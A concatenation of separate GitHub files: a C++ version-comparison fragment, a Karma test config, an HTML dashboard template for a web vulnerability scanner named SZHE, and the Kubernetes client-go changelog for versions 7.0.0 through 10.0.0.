int maybeMinor = versionString.mid(dotIdx + 1).toInt(&ok);
if (!ok)
return;
_major = maybeMajor;
_minor = maybeMinor;
}
ComponentVersion::~ComponentVersion()
{
}
bool ComponentVersion::isValid() const
{
return _major >= 0 && _minor >= 0;
}
QString ComponentVersion::toString() const
{
return QString("%1.%2").arg(QString::number(_major),
QString::number(_minor));
}
namespace LanguageUtils {
bool operator<(const ComponentVersion &lhs, const ComponentVersion &rhs)
{
return lhs.majorVersion() < rhs.majorVersion()
|| (lhs.majorVersion() == rhs.majorVersion() && lhs.minorVersion() < rhs.minorVersion());
}
bool operator<=(const ComponentVersion &lhs, const ComponentVersion &rhs)
{
return lhs.majorVersion() < rhs.majorVersion()
|| (lhs.majorVersion() == rhs.majorVersion() && lhs.minorVersion() <= rhs.minorVersion());
}
bool operator>(const ComponentVersion &lhs, const ComponentVersion &rhs)
{
return rhs < lhs;
}
bool operator>=(const ComponentVersion &lhs, const ComponentVersion &rhs)
{
return rhs <= lhs;
}
bool operator==(const ComponentVersion &lhs, const ComponentVersion &rhs)
{
return lhs.majorVersion() == rhs.majorVersion() && lhs.minorVersion() == rhs.minorVersion();
}
bool operator!=(const ComponentVersion &lhs, const ComponentVersion &rhs)
{
return !(lhs == rhs);
}
}
| {
"pile_set_name": "Github"
} |
# --- TKO GENERATED --- start
# Do not modify.
#
__tko_karma__: &__tko_karma__
basePath: ''
port: 7777
colors: true
logLevel: INFO
autoWatch: true
browsers:
- PhantomJS
singleRun: false
files:
- spec/helpers/setup.js
- spec/*.js
# - pattern: src/*
# watched: true
# included: false
# served: false
# nocache: false
reporters:
- progress
client:
captureConsole: true
# --- TKO GENERATED --- end
karma:
<<: *__tko_karma__
# Add any changes to the karma settings, below.
frameworks:
- jasmine
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{%block title%}Document{% endblock %}</title>
{% block css %}
<link rel="stylesheet" href="{{url_for('static',filename='css/homeOne.css')}}" />
<link rel="stylesheet" href="{{url_for('static',filename='css/font-awesome.min.css')}}" />
{% endblock %}
{% block js %}
<script src="{{url_for('static',filename='js/home.js')}}"></script>
<script type="text/javascript" src="../static/libs/jquery-2.1.4.min.js"></script>
<script type="text/javascript" src="../static/libs/echarts.min.js"></script>
{% endblock %}
</head>
<body style="overflow-x:hidden;">
<header class="header" id="header">
<div class="container">
<div class="top">
<h1>
<a href="#" title="Web漏洞扫描器" style="font-family: Helvetica">SZHE</a>
</h1>
<div class="userCenter">
<ul class="userCenter-list" role="tablist">
<li><a href="{{url_for('user')}}" role="tab">个人中心</a></li>
<li><a href="{{url_for('logout')}}" role="tab">注销</a></li>
</ul>
</div>
</div>
<hr />
<nav class="navigation" id="nav">
<ul class="navList" id="myTab" role="tabList">
<li><a href="{{url_for('index')}}" role="tab" class="one">主页</a></li>
<li><a href="{{url_for('console')}}" role="tab" class="two">控制台</a></li>
<li><a href="{{url_for('buglist')}}" role="tab" class="three">漏洞列表</a></li>
<li><a href="{{url_for('POCmanage')}}" role="tab" class="four">POC管理</a></li>
<li><a href="{{url_for('log_detail')}}" role="tab" class="six">日志</a></li>
<li><a href="{{url_for('about')}}" role="tab">关于</a></li>
<div class="slider"></div>
</ul>
<div class="search-box">
<input class="search-txt" type="text" name="" placeholder=" search..." />
<a class="search-btn" href="#">
<i class="fa fa-search"></i>
</a>
</div>
</nav>
<div class="burger">
<div class="burger-line1"></div>
<div class="burger-line2"></div>
<div class="burger-line3"></div>
</div>
</div>
</header>
<div class="context">
<div class="left-context" style="display:block;">
<div class="statistic">
<h5 class="h5">漏洞等级分布图</h5>
<div id="container" class="container" style="height: 250px;width:90%;"></div>
</div>
<div class="skills" style="display:block;">
<h2>漏洞类型统计</h2>
{% for name,num in bugtype.items() %}
<div class="skill">
<div class="skill-name skill-one">{{name}}</div>
<div class="skill-bar">
<div class="skill-per" per="{{num}}">
</div>
</div>
</div>
{% endfor %}
</div>
</div>
<div class="right-context">
{%block rightcontext%}
{% endblock %}
</div>
</div>
<div class="body-tail">
Copyright @ SZHE Vulnerability Scanner
</div>
{% block addjs %}
<script type="text/javascript">
$('.skill-per').each(function () {
var $this = $(this);
var per = $this.attr('per');
$this.css("width", per + '%');
$({ animatedValue: 0 }).animate(
{ animatedValue: per },
{
duration: 300,
step: function () {
$this.attr('per', Math.floor(this.animatedValue) + '%');
},
complete: function () {
$this.attr('per', Math.floor(this.animatedValue) + '%');
}
}
);
});
var dom = document.getElementById("container");
var myChart = echarts.init(dom);
var app = {};
app.title = "百分比";
var option = {
tooltip: {
trigger: "item",
formatter: "{a} <br/>{b}: {c} ({d}%)",
},
color: ["#90ee90", "#7342fa", "#fdb903", "#e9003a",],
legend: {
orient: "horizontal",
x: "center",
data: ["低危", "中危", "高危", "严重"],
},
series: [
{
name: "漏洞属性",
type: "pie",
radius: ["35%", "75%"],
avoidLabelOverlap: false,
label: {
normal: {
show: false,
position: "center",
},
emphasis: {
show: true,
textStyle: {
fontSize: "20",
fontWeight: "bold",
},
},
},
labelLine: {
normal: {
show: false,
},
},
data: [
{
value: "{{bugbit.lowcount}}",
name: "低危",
},
{
value: "{{bugbit.mediumcount}}",
name: "中危",
},
{
value: "{{bugbit.highcount}}",
name: "高危",
},
{
value: "{{bugbit.seriouscount}}",
name: "严重",
},
],
},
],
};
if (option && typeof option === "object") {
myChart.setOption(option, true);
}
</script>
{% endblock %}
</body>
</html> | {
"pile_set_name": "Github"
} |
TODO: This document was manually maintained so might be incomplete. The
automation effort is tracked in
https://github.com/kubernetes/test-infra/issues/5843.
Changes in `k8s.io/api` and `k8s.io/apimachinery` are mentioned here
because `k8s.io/client-go` depends on them.
# v10.0.0
**Breaking Changes:**
* Action required: client-go will no longer have bootstrap
(`k8s.io/client-go/tools/bootstrap`) related code. Any reference to it will
break. Please redirect all references to `k8s.io/bootstrap` instead.
([#67356](https://github.com/kubernetes/kubernetes/pull/67356))
* The methods `NewSelfSignedCACert` and `NewSignedCert` now use `crypto.Signer`
interface instead of `rsa.PrivateKey` for certificate creation. This is done
to allow different kind of private keys (for example: ecdsa).
([#69329](https://github.com/kubernetes/kubernetes/pull/69329))
* `GetScale` and `UpdateScale` methods have been added for `apps/v1` clients
and with this, no-verb scale clients have been removed.
([#70437](https://github.com/kubernetes/kubernetes/pull/70437))
* `k8s.io/client-go/util/cert/triple` package has been removed.
([#70966](https://github.com/kubernetes/kubernetes/pull/70966))
**New Features:**
* `unfinished_work_microseconds` is added to the workqueue metrics.
It can be used to detect stuck worker threads (kube-controller-manager runs many workqueues.).
([#70884](https://github.com/kubernetes/kubernetes/pull/70884))
* A method `GetPorts` is added to expose the ports that were forwarded.
This can be used to retrieve the locally-bound port in cases where the input was port 0.
([#67513](https://github.com/kubernetes/kubernetes/pull/67513))
* Dynamic listers and informers, that work with `runtime.Unstructured` objects,
are added. These are useful for writing generic, non-generated controllers.
([68748](https://github.com/kubernetes/kubernetes/pull/68748))
* The dynamic fake client now supports JSONPatch.
([#69330](https://github.com/kubernetes/kubernetes/pull/69330))
* The `GetBinding` method is added for pods in the fake client.
([#69412](https://github.com/kubernetes/kubernetes/pull/69412))
**Bug fixes and Improvements:**
* The `apiVersion` and action name values for fake evictions are now set.
([#69035](https://github.com/kubernetes/kubernetes/pull/69035))
* PEM files containing both TLS certificate and key can now be parsed in
arbitrary order. Previously key was always required to be first.
([#69536](https://github.com/kubernetes/kubernetes/pull/69536))
* Go clients created from a kubeconfig that specifies a `TokenFile` now
periodically reload the token from the specified file.
([#70606](https://github.com/kubernetes/kubernetes/pull/70606))
* It is now ensured that oversized data frames are not written to
spdystreams in `remotecommand.NewSPDYExecutor`.
([#70999](https://github.com/kubernetes/kubernetes/pull/70999))
* A panic occuring on calling `scheme.Convert` is fixed by populating the fake
dynamic client scheme. ([#69125](https://github.com/kubernetes/kubernetes/pull/69125))
* Add step to correctly setup permissions for the in-cluster-client-configuration example.
([#69232](https://github.com/kubernetes/kubernetes/pull/69232))
* The function `Parallelize` is deprecated. Use `ParallelizeUntil` instead.
([#68403](https://github.com/kubernetes/kubernetes/pull/68403))
* [k8s.io/apimachinery] Restrict redirect following from the apiserver to
same-host redirects, and ignore redirects in some cases.
([#66516](https://github.com/kubernetes/kubernetes/pull/66516))
## API changes
**New Features:**
* GlusterFS PersistentVolumes sources can now reference endpoints in any
namespace using the `spec.glusterfs.endpointsNamespace` field.
Ensure all kubelets are upgraded to 1.13+ before using this capability.
([#60195](https://github.com/kubernetes/kubernetes/pull/60195))
* The [dynamic audit configuration](https://github.com/kubernetes/community/blob/master/keps/sig-auth/0014-dynamic-audit-configuration.md)
API is added. ([#67547](https://github.com/kubernetes/kubernetes/pull/67547))
* A new field `EnableServiceLinks` is added to the `PodSpec` to indicate whether
information about services should be injected into pod's environment variables.
([#68754](https://github.com/kubernetes/kubernetes/pull/68754))
* `CSIPersistentVolume` feature, i.e. `PersistentVolumes` with
`CSIPersistentVolumeSource`, is GA. `CSIPersistentVolume` feature gate is now
deprecated and will be removed according to deprecation policy.
([#69929](https://github.com/kubernetes/kubernetes/pull/69929))
* Raw block volume support is promoted to beta, and enabled by default.
This is accessible via the `volumeDevices` container field in pod specs,
and the `volumeMode` field in persistent volume and persistent volume claims definitions.
([#71167](https://github.com/kubernetes/kubernetes/pull/71167))
**Bug fixes and Improvements:**
* The default value of extensions/v1beta1 Deployment's `RevisionHistoryLimit`
is set to `MaxInt32`. ([#66605](https://github.com/kubernetes/kubernetes/pull/66605))
* `procMount` field is no longer incorrectly marked as required in openapi schema.
([#69694](https://github.com/kubernetes/kubernetes/pull/69694))
* The caBundle and service fields in admission webhook API objects now correctly
indicate they are optional. ([#70138](https://github.com/kubernetes/kubernetes/pull/70138))
# v9.0.0
**Breaking Changes:**
* client-go now supports additional non-alpha-numeric characters in UserInfo
"extra" data keys. It should be updated in order to properly support extra
data containing "/" characters or other characters disallowed in HTTP headers.
Old clients sending keys which were `%`-escaped by the user will have their
values unescaped by new API servers.
([#65799](https://github.com/kubernetes/kubernetes/pull/65799))
* `apimachinery/pkg/watch.Until` has been moved to
`client-go/tools/watch.UntilWithoutRetry`. While switching please consider
using the new `client-go/tools/watch.UntilWithSync` or `client-go/tools/watch.Until`.
([#66906](https://github.com/kubernetes/kubernetes/pull/66906))
* [k8s.io/apimachinery] `Unstructured` metadata accessors now respect omitempty semantics
i.e. a field having zero value will now be removed from the unstructured metadata map.
([#67635](https://github.com/kubernetes/kubernetes/pull/67635))
* [k8s.io/apimachinery] The `ObjectConvertor` interface is now changed such that
`ConvertFieldLabel` func takes GroupVersionKind as an argument instead of just
version and kind. ([#65780](https://github.com/kubernetes/kubernetes/pull/65780))
* [k8s.io/apimachinery] componentconfig `ClientConnectionConfiguration` is
moved to `k8s.io/apimachinery/pkg/apis/config`.
([#66058](https://github.com/kubernetes/kubernetes/pull/66058))
* [k8s.io/apimachinery] Renamed ` KubeConfigFile` to `Kubeconfig` in
`ClientConnectionConfiguration`.
([#67149](https://github.com/kubernetes/kubernetes/pull/67149))
* [k8s.io/apimachinery] JSON patch no longer supports `int`.
([#63522](https://github.com/kubernetes/kubernetes/pull/63522))
**New Features:**
* Add ability to cancel leader election.
This also proves useful in integration tests where the whole app is started and
stopped in each test. ([#57932](https://github.com/kubernetes/kubernetes/pull/57932))
* An example showing how to use fake clients in tests is added.
([#65291](https://github.com/kubernetes/kubernetes/pull/65291))
* [k8s.io/apimachinery] Create and Update now support `CreateOptions` and `UpdateOptions`.
([#65105](https://github.com/kubernetes/kubernetes/pull/65105))
**Bug fixes and Improvements:**
* Decrease the amount of time it takes to modify kubeconfig
files with large amounts of contexts.
([#67093](https://github.com/kubernetes/kubernetes/pull/67093))
* The leader election client now renews timeout.
([#65094](https://github.com/kubernetes/kubernetes/pull/65094))
* Switched certificate data replacement from `REDACTED` to `DATA+OMITTED`.
([#66023](https://github.com/kubernetes/kubernetes/pull/66023))
* Fix listing in the fake dynamic client.
([#66078](https://github.com/kubernetes/kubernetes/pull/66078))
* Fix discovery so that plural names are no longer ignored if a singular name is not specified.
([#66249](https://github.com/kubernetes/kubernetes/pull/66249))
* Fix kubelet startup failure when using `ExecPlugin` in kubeconfig.
([#66395](https://github.com/kubernetes/kubernetes/pull/66395))
* Fix panic in the fake `SubjectAccessReview` client when object is nil.
([#66837](https://github.com/kubernetes/kubernetes/pull/66837))
* Periodically reload `InClusterConfig` token.
([#67359](https://github.com/kubernetes/kubernetes/pull/67359))
* [k8s.io/apimachinery] Report parsing error in json serializer.
([#63668](https://github.com/kubernetes/kubernetes/pull/63668))
* [k8s.io/apimachinery] The `metav1.ObjectMeta` accessor does not deepcopy
owner references anymore. In general, the accessor interface does not enforce
deepcopy nor does it forbid it (e.g. for `unstructured.Unstructured`).
([#64915](https://github.com/kubernetes/kubernetes/pull/64915))
* [k8s.io/apimachinery] Utility functions `SetTransportDefaults` and `DialerFor`
once again respect custom Dial functions set on transports.
([#65547](https://github.com/kubernetes/kubernetes/pull/65547))
* [k8s.io/apimachinery] Speed-up conversion function invocation by avoiding
`reflect.Call`. Action required: regenerated conversion with conversion-gen.
([#65771](https://github.com/kubernetes/kubernetes/pull/65771))
* [k8s.io/apimachinery] Establish "406 Not Acceptable" response for
unmarshable protobuf serialization error.
([#67041](https://github.com/kubernetes/kubernetes/pull/67041))
* [k8s.io/apimachinery] Immediately close the other side of the connection by
exiting once one side closes when proxying.
([#67288](https://github.com/kubernetes/kubernetes/pull/67288))
## API changes
**Breaking Changes:**
* Volume dynamic provisioning scheduling has been promoted to beta.
ACTION REQUIRED: The DynamicProvisioningScheduling alpha feature gate has been removed.
The VolumeScheduling beta feature gate is still required for this feature.
([#67432](https://github.com/kubernetes/kubernetes/pull/67432))
* The CSI file system type is no longer defaulted to ext4.
All the production drivers listed under https://kubernetes-csi.github.io/docs/Drivers.html
were inspected and should not be impacted after this change.
If you are using a driver not in that list,
please test the drivers on an updated test cluster first.
([#65499](https://github.com/kubernetes/kubernetes/pull/65499))
**New Features:**
* Support annotations for remote admission webhooks.
([#58679](https://github.com/kubernetes/kubernetes/pull/58679))
* Support both directory and block device for local volume
plugin `FileSystem` `VolumeMode`.
([#63011](https://github.com/kubernetes/kubernetes/pull/63011))
* Introduce `autoscaling/v2beta2` and `custom_metrics/v1beta2`,
which implement metric selectors for Object and Pods metrics,
as well as allowing AverageValue targets on Objects, similar to External metrics.
([#64097](https://github.com/kubernetes/kubernetes/pull/64097))
* Add `Lease` API in the `coordination.k8s.io` API group.
([#64246](https://github.com/kubernetes/kubernetes/pull/64246))
* `ProcMount` added to `SecurityContext` and `AllowedProcMounts` added to `PodSecurityPolicy`
to allow paths in the container's `/proc` to not be masked.
([#64283](https://github.com/kubernetes/kubernetes/pull/64283))
* Add the `AuditAnnotations` field to `ImageReviewStatus` to allow the
`ImageReview` backend to return annotations to be added to the created pod.
([#64597](https://github.com/kubernetes/kubernetes/pull/64597))
* SCTP is now supported as additional protocol (alpha) alongside TCP and UDP in
Pod, Service, Endpoint, and NetworkPolicy.
([#64973](https://github.com/kubernetes/kubernetes/pull/64973))
* The `PodShareProcessNamespace` feature to configure PID namespace sharing
within a pod has been promoted to beta.
([#66507](https://github.com/kubernetes/kubernetes/pull/66507))
* Add `TTLSecondsAfterFinished` to `JobSpec` for cleaning up Jobs after they finish.
([#66840](https://github.com/kubernetes/kubernetes/pull/66840))
* Add `DataSource` and `TypedLocalObjectReference` fields to support
restoring a volume from a volume snapshot data source.
([#67087](https://github.com/kubernetes/kubernetes/pull/67087))
* `RuntimeClass` is a new API resource for defining different classes of runtimes
that may be used to run containers in the cluster.
Pods can select a `RunitmeClass` to use via the `RuntimeClassName` field.
This feature is in alpha, and the `RuntimeClass` feature gate must be enabled
in order to use it. ([#67737](https://github.com/kubernetes/kubernetes/pull/67737))
* To address the possibility dry-run requests overwhelming admission webhooks
that rely on side effects and a reconciliation mechanism, a new field is being
added to `admissionregistration.k8s.io/v1beta1.ValidatingWebhookConfiguration`
and `admissionregistration.k8s.io/v1beta1.MutatingWebhookConfiguration` so that
webhooks can explicitly register as having dry-run support.
If a dry-run request is made on a resource that triggers a non dry-run supporting
webhook, the request will be completely rejected, with "400: Bad Request".
Additionally, a new field is being added to the
`admission.k8s.io/v1beta1.AdmissionReview` API object, exposing to webhooks
whether or not the request being reviewed is a dry-run.
([#66936](https://github.com/kubernetes/kubernetes/pull/66936))
**Bug fixes and Improvements:**
* The `DisruptedPods` field in `PodDisruptionBudgetStatus` is now optional.
([#63757](https://github.com/kubernetes/kubernetes/pull/63757))
* `extensions/v1beta1` Deployment's `ProgressDeadlineSeconds` now defaults to `MaxInt32`.
([#66581](https://github.com/kubernetes/kubernetes/pull/66581))
# v8.0.0
**Breaking Changes:**
* `KUBE_API_VERSIONS` has been removed.
* [https://github.com/kubernetes/kubernetes/pull/63165](https://github.com/kubernetes/kubernetes/pull/63165)
* The client-go/discovery `RESTMapper` has been moved to client-go/restmapper.
* [https://github.com/kubernetes/kubernetes/pull/63507](https://github.com/kubernetes/kubernetes/pull/63507)
* `CachedDiscoveryClient` has been moved from kubectl to client-go.
* [https://github.com/kubernetes/kubernetes/pull/63550](https://github.com/kubernetes/kubernetes/pull/63550)
* The `EventRecorder` interface is changed to include an `AnnotatedEventf` method, which can add annotations to an event.
* [https://github.com/kubernetes/kubernetes/pull/64213](https://github.com/kubernetes/kubernetes/pull/64213)
* [k8s.io/apimachinery] The deprecated `RepairMalformedUpdates` flag has been removed.
* [https://github.com/kubernetes/kubernetes/pull/61455](https://github.com/kubernetes/kubernetes/pull/61455)
**New Features:**
* A new easy-to-use dynamic client is added and the old dynamic client is now deprecated.
* [https://github.com/kubernetes/kubernetes/pull/62913](https://github.com/kubernetes/kubernetes/pull/62913)
* client-go and kubectl now detect and report an error on duplicated name for user, cluster and context, while loading the kubeconfig.
* [https://github.com/kubernetes/kubernetes/pull/60464](https://github.com/kubernetes/kubernetes/pull/60464)
* The informer code-generator now allows specifying a custom resync period for certain informer types and uses the default resync period if none is specified.
* [https://github.com/kubernetes/kubernetes/pull/61400](https://github.com/kubernetes/kubernetes/pull/61400)
* Exec authenticator plugin now supports TLS client certificates.
* [https://github.com/kubernetes/kubernetes/pull/61803](https://github.com/kubernetes/kubernetes/pull/61803)
* The discovery client now has a default request timeout of 32 seconds.
* [https://github.com/kubernetes/kubernetes/pull/62733](https://github.com/kubernetes/kubernetes/pull/62733)
* The OpenStack auth config from is now read from the client config. If the client config is not available, it falls back to reading from the environment variables.
* [https://github.com/kubernetes/kubernetes/pull/60200](https://github.com/kubernetes/kubernetes/pull/60200)
* The in-tree support for openstack credentials is now deprecated. Please use the `client-keystone-auth` from the cloud-provider-openstack repository. Details on how to use this new capability is documented [here](https://github.com/kubernetes/cloud-provider-openstack/blob/master/docs/using-client-keystone-auth.md)
* [https://github.com/kubernetes/kubernetes/pull/64346](https://github.com/kubernetes/kubernetes/pull/64346)
**Bug fixes and Improvements:**
* 406 mime-type errors are now tolerated while attempting to load new openapi schema. This improves compatibility with older servers when creating/updating API objects.
* [https://github.com/kubernetes/kubernetes/pull/61949](https://github.com/kubernetes/kubernetes/pull/61949)
* Removes the generated `DeleteCollection()` method for `Services` since the API does not support it.
* [https://github.com/kubernetes/kubernetes/pull/63861](https://github.com/kubernetes/kubernetes/pull/63861)
* Event object references with apiversion now report an apiversion, instead of just the group.
* [https://github.com/kubernetes/kubernetes/pull/63913](https://github.com/kubernetes/kubernetes/pull/63913)
[https://github.com/kubernetes/kubernetes/pull/62462](https://github.com/kubernetes/kubernetes/pull/62462)
* [k8s.io/apimachinery] `runtime.Unstructured.UnstructuredContent()` no longer mutates the source while returning the contents.
* [https://github.com/kubernetes/kubernetes/pull/62063](https://github.com/kubernetes/kubernetes/pull/62063)
* [k8s.io/apimachinery] Incomplete support for `uint64` is now removed. This fixes a panic encountered while using `DeepCopyJSON` with `uint64`.
* [https://github.com/kubernetes/kubernetes/pull/62981](https://github.com/kubernetes/kubernetes/pull/62981)
* [k8s.io/apimachinery] API server can now parse `propagationPolicy` when it sent as a query parameter sent with a delete request.
* [https://github.com/kubernetes/kubernetes/pull/63414](https://github.com/kubernetes/kubernetes/pull/63414)
* [k8s.io/apimachinery] APIServices with kube-like versions (e.g. v1, v2beta1, etc.) will be sorted appropriately within each group.
* [https://github.com/kubernetes/kubernetes/pull/64004](https://github.com/kubernetes/kubernetes/pull/64004)
* [k8s.io/apimachinery] `int64` is the only allowed integer for printers.
* [https://github.com/kubernetes/kubernetes/pull/64639](https://github.com/kubernetes/kubernetes/pull/64639)
## API changes
**Breaking Changes:**
* Support for `alpha.kubernetes.io/nvidia-gpu` resource which was deprecated in 1.10 is removed. Please use the resource exposed by `DevicePlugins` instead (`nvidia.com/gpu`).
* [https://github.com/kubernetes/kubernetes/pull/61498](https://github.com/kubernetes/kubernetes/pull/61498)
* Alpha annotation for `PersistentVolume` node affinity has been removed. Update your `PersistentVolume`s to use the beta `PersistentVolume.nodeAffinity` field before upgrading.
* [https://github.com/kubernetes/kubernetes/pull/61816](https://github.com/kubernetes/kubernetes/pull/61816)
* `ObjectMeta ` `ListOptions` `DeleteOptions` are removed from the core api group. Please use the ones in `meta/v1` instead.
* [https://github.com/kubernetes/kubernetes/pull/61809](https://github.com/kubernetes/kubernetes/pull/61809)
* `ExternalID` in `NodeSpec` is deprecated. The externalID of the node is no longer set in the Node spec.
* [https://github.com/kubernetes/kubernetes/pull/61877](https://github.com/kubernetes/kubernetes/pull/61877)
* PSP-related types in the `extensions/v1beta1` API group are now deprecated. It is suggested to use the `policy/v1beta1` API group instead.
* [https://github.com/kubernetes/kubernetes/pull/61777](https://github.com/kubernetes/kubernetes/pull/61777)
**New Features:**
* `PodSecurityPolicy` now supports restricting hostPath volume mounts to be readOnly and under specific path prefixes.
* [https://github.com/kubernetes/kubernetes/pull/58647](https://github.com/kubernetes/kubernetes/pull/58647)
* `Node.Spec.ConfigSource.ConfigMap.KubeletConfigKey` must be specified when using dynamic Kubelet config to tell the Kubelet which key of the `ConfigMap` identifies its config file.
* [https://github.com/kubernetes/kubernetes/pull/59847](https://github.com/kubernetes/kubernetes/pull/59847)
* `serverAddressByClientCIDRs` in `meta/v1` APIGroup is now optional.
* [https://github.com/kubernetes/kubernetes/pull/61963](https://github.com/kubernetes/kubernetes/pull/61963)
* A new field `MatchFields` is added to `NodeSelectorTerm`. Currently, it only supports `metadata.name`.
* [https://github.com/kubernetes/kubernetes/pull/62002](https://github.com/kubernetes/kubernetes/pull/62002)
* The `PriorityClass` API is promoted to `scheduling.k8s.io/v1beta1`.
* [https://github.com/kubernetes/kubernetes/pull/63100](https://github.com/kubernetes/kubernetes/pull/63100)
* The status of dynamic Kubelet config is now reported via `Node.Status.Config`, rather than the `KubeletConfigOk` node condition.
* [https://github.com/kubernetes/kubernetes/pull/63314](https://github.com/kubernetes/kubernetes/pull/63314)
* The `GitRepo` volume type is deprecated. To provision a container with a git repo, mount an `EmptyDir` into an `InitContainer` that clones the repo using git, then mount the `EmptyDir` into the Pod's container.
* [https://github.com/kubernetes/kubernetes/pull/63445](https://github.com/kubernetes/kubernetes/pull/63445)
* The Sysctls experimental feature has been promoted to beta (enabled by default via the `Sysctls` feature flag). `PodSecurityPolicy` and `Pod` objects now have fields for specifying and controlling sysctls. Alpha sysctl annotations will be ignored by 1.11+ kubelets. All alpha sysctl annotations in existing deployments must be converted to API fields to be effective.
* [https://github.com/kubernetes/kubernetes/pull/63717](https://github.com/kubernetes/kubernetes/pull/63717)
* The annotation `service.alpha.kubernetes.io/tolerate-unready-endpoints` is deprecated. Users should use `Service.spec.publishNotReadyAddresses` instead.
* [https://github.com/kubernetes/kubernetes/pull/63742](https://github.com/kubernetes/kubernetes/pull/63742)
* `VerticalPodAutoscaler` has been added to `autoscaling/v1` API group.
* [https://github.com/kubernetes/kubernetes/pull/63797](https://github.com/kubernetes/kubernetes/pull/63797)
* Alpha support is added for dynamic volume limits based on node type.
* [https://github.com/kubernetes/kubernetes/pull/64154](https://github.com/kubernetes/kubernetes/pull/64154)
* `ContainersReady` condition is added to the Pod status.
* [https://github.com/kubernetes/kubernetes/pull/64646](https://github.com/kubernetes/kubernetes/pull/64646)
**Bug fixes and Improvements:**
* Default mount propagation has changed from `HostToContainer` (`rslave` in Linux terminology) to `None` (`private`) to match the behavior in 1.9 and earlier releases. `HostToContainer` as a default caused regressions in some pods.
* [https://github.com/kubernetes/kubernetes/pull/62462](https://github.com/kubernetes/kubernetes/pull/62462)
# v7.0.0
**Breaking Changes:**
* Google Cloud Service Account email addresses can now be used in RBAC Role bindings since the default scopes now include the `userinfo.email` scope. This is a breaking change if the numeric uniqueIDs of the Google service accounts were being used in RBAC role bindings. The behavior can be overridden by explicitly specifying the scope values as comma-separated string in the `users[*].config.scopes` field in the `KUBECONFIG` file.
* [https://github.com/kubernetes/kubernetes/pull/58141](https://github.com/kubernetes/kubernetes/pull/58141)
* [k8s.io/api] The `ConfigOK` node condition has been renamed to `KubeletConfigOk`.
* [https://github.com/kubernetes/kubernetes/pull/59905](https://github.com/kubernetes/kubernetes/pull/59905)
**New Features:**
* Subresource support is added to the dynamic client.
* [https://github.com/kubernetes/kubernetes/pull/56717](https://github.com/kubernetes/kubernetes/pull/56717)
* A watch method is added to the Fake Client.
* [https://github.com/kubernetes/kubernetes/pull/57504](https://github.com/kubernetes/kubernetes/pull/57504)
* `ListOptions` can be modified when creating a `ListWatch`.
* [https://github.com/kubernetes/kubernetes/pull/57508](https://github.com/kubernetes/kubernetes/pull/57508)
* A `/token` subresource for ServiceAccount is added.
* [https://github.com/kubernetes/kubernetes/pull/58111](https://github.com/kubernetes/kubernetes/pull/58111)
* If an informer delivery fails, the particular notification is skipped and continued the next time.
* [https://github.com/kubernetes/kubernetes/pull/58394](https://github.com/kubernetes/kubernetes/pull/58394)
* Certificate manager will no longer wait until the initial rotation succeeds or fails before returning from `Start()`.
* [https://github.com/kubernetes/kubernetes/pull/58930](https://github.com/kubernetes/kubernetes/pull/58930)
* [k8s.io/api] `VolumeScheduling` and `LocalPersistentVolume` features are beta and enabled by default. The PersistentVolume NodeAffinity alpha annotation is deprecated and will be removed in a future release.
* [https://github.com/kubernetes/kubernetes/pull/59391](https://github.com/kubernetes/kubernetes/pull/59391)
* [k8s.io/api] The `PodSecurityPolicy` API has been moved to the `policy/v1beta1` API group. The `PodSecurityPolicy` API in the `extensions/v1beta1` API group is deprecated and will be removed in a future release.
* [https://github.com/kubernetes/kubernetes/pull/54933](https://github.com/kubernetes/kubernetes/pull/54933)
* [k8s.io/api] ConfigMap objects now support binary data via a new `binaryData` field.
* [https://github.com/kubernetes/kubernetes/pull/57938](https://github.com/kubernetes/kubernetes/pull/57938)
* [k8s.io/api] Service account TokenRequest API is added.
* [https://github.com/kubernetes/kubernetes/pull/58027](https://github.com/kubernetes/kubernetes/pull/58027)
* [k8s.io/api] FSType is added in CSI volume source to specify filesystems.
* [https://github.com/kubernetes/kubernetes/pull/58209](https://github.com/kubernetes/kubernetes/pull/58209)
* [k8s.io/api] v1beta1 VolumeAttachment API is added.
* [https://github.com/kubernetes/kubernetes/pull/58462](https://github.com/kubernetes/kubernetes/pull/58462)
* [k8s.io/api] `v1.Pod` now has a field `ShareProcessNamespace` to configure whether a single process namespace should be shared between all containers in a pod. This feature is in alpha preview.
* [https://github.com/kubernetes/kubernetes/pull/58716](https://github.com/kubernetes/kubernetes/pull/58716)
* [k8s.io/api] Add `NominatedNodeName` field to `PodStatus`. This field is set when a pod preempts other pods on the node.
* [https://github.com/kubernetes/kubernetes/pull/58990](https://github.com/kubernetes/kubernetes/pull/58990)
* [k8s.io/api] Promote `CSIPersistentVolumeSourc`e to beta.
* [https://github.com/kubernetes/kubernetes/pull/59157](https://github.com/kubernetes/kubernetes/pull/59157)
* [k8s.io/api] Promote `DNSPolicy` and `DNSConfig` in `PodSpec` to beta.
* [https://github.com/kubernetes/kubernetes/pull/59771](https://github.com/kubernetes/kubernetes/pull/59771)
* [k8s.io/api] External metric types are added to the HPA API.
* [https://github.com/kubernetes/kubernetes/pull/60096](https://github.com/kubernetes/kubernetes/pull/60096)
* [k8s.io/apimachinery] The `meta.k8s.io/v1alpha1` objects for retrieving tabular responses from the server (`Table`) or fetching just the `ObjectMeta` for an object (as `PartialObjectMetadata`) are now beta as part of `meta.k8s.io/v1beta1`. Clients may request alternate representations of normal Kubernetes objects by passing an `Accept` header like `application/json;as=Table;g=meta.k8s.io;v=v1beta1` or `application/json;as=PartialObjectMetadata;g=meta.k8s.io;v1=v1beta1`. Older servers will ignore this representation or return an error if it is not available. Clients may request fallback to the normal object by adding a non-qualified mime-type to their `Accept` header like `application/json` - the server will then respond with either the alternate representation if it is supported or the fallback mime-type which is the normal object response.
* [https://github.com/kubernetes/kubernetes/pull/59059](https://github.com/kubernetes/kubernetes/pull/59059)
**Bug fixes and Improvements:**
* Port-forwarding of TCP6 ports is fixed.
* [https://github.com/kubernetes/kubernetes/pull/57457](https://github.com/kubernetes/kubernetes/pull/57457)
* A race condition in SharedInformer that could violate the sequential delivery guarantee and cause panics on shutdown is fixed.
* [https://github.com/kubernetes/kubernetes/pull/59828](https://github.com/kubernetes/kubernetes/pull/59828)
* [k8s.io/api] PersistentVolume flexVolume sources can now reference secrets in a namespace other than the PersistentVolumeClaim's namespace.
* [https://github.com/kubernetes/kubernetes/pull/56460](https://github.com/kubernetes/kubernetes/pull/56460)
* [k8s.io/apimachinery] YAMLDecoder Read can now return the number of bytes read.
* [https://github.com/kubernetes/kubernetes/pull/57000](https://github.com/kubernetes/kubernetes/pull/57000)
